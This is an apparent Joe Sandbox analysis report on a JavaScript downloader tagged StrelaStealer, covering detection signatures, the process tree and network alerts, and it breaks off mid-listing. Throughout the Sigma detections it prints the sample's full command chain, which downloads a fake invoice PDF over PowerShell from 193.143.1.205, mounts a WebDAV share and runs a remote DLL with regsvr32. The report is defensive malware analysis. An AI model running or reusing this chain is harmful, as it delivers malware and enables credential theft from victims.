Edit tour

Windows Analysis Report
11267230832782128009.js

Overview

General Information

Sample name:	11267230832782128009.js
Analysis ID:	1588173
MD5:	12e012f0119f53a85c81f2b314071265
SHA1:	68e7a43bd91a43b0536e0ec1183ae09bc4f2b77c
SHA256:	ef8339805fb1a100a7733e9f4597e38328294b1980e8f8df38d9a447bd30dc65
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7384 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7640 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1424 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6424 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5960 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1764,i,16356598538612357135,8873104623319308209,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2108 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1516 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7772 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7384	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1424, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1424, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ProcessId: 7384, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1516, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49756

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 7640, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 7640, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 7640, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 7640, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 7640, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ProcessId: 7384, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1424, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1516, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7772, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1516, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 7640, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:13:42.091006+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49756	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:13:39.753067+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49740	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 11267230832782128009.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 11267230832782128009.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 11267230832782128009.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49756 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49756

Source: global traffic

TCP traffic: 192.168.2.10:49756 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.10:64999 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.10:64372 -> 162.159.36.2:53

Source: Joe Sandbox View

